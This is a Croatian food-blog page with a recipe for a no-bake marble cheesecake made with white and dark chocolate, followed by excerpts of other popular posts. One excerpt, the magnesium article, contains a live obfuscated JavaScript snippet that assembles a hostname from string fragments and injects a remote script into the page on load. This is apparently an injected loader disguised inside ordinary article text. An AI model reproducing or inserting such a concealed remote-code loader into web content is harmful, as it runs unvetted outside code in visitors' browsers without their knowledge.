MRAMORNI CHEESECAKE S ČOKOLADOM 🍫




Mramorni cheesecake s čokoladom 



U ove vruće ljetne dane kad vam se ne pali pećnica svejedno možete napraviti super fini desert, poput mramornog cheesecakea s čokoladom koji vam danas predstavljamo.




Mramorni cheesecake s čokoladom 


Sastojci:

Podloga

  • 200 g keksa s kakaom bez kreme
  • 100 g otopljenog maslaca

Krema

  • 500 g kremastog sira
  • 150 g milerama
  • 300 g vrhnja za šlag
  • 1 bourbon vanilijin šećer
  • 50 g šećera ili prema ukusu
  • 250 g bijele čokolade
  • 150 g tamne čokolade



Priprema:

1. Obruč kalupa za tortu stavite na ravni tanjur za posluživanje pa ga premažite maslacem. Možete ga obložiti i papirom za pečenje ili acetatnom folijom ako je imate. Kekse usitnite u multipraktiku ili batom za meso i pomiješajte s maslacem. Utisnite u dno kalupa (na tanjur) i ohladite dok ne pripremite kremu.

2. Za kremu mikserom na srednjoj brzini kratko izmiješajte sve sastojke osim bijele i tamne čokolade. Odvojite pola kreme (500 g) pa u jednu polovinu pjenjačom umiješajte otopljenu bijelu, a u drugu otopljenu tamnu čokoladu.
Stavljajte žlicu po žlicu bijele i tamne kreme naizmjence na podlogu od keksa dok ne potrošite svu kremu. Na kraju čačkalicom napravite zavijutke kako biste dobili mramorni uzorak na torti.

3. Ohladite najmanje četiri sata. Prije vađenja iz kalupa omotajte kalup toplom krpom ili prođite tankim nožićem uz rub kako bi se krema lakše odvojila od ruba. Poslužite ohlađeno.




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više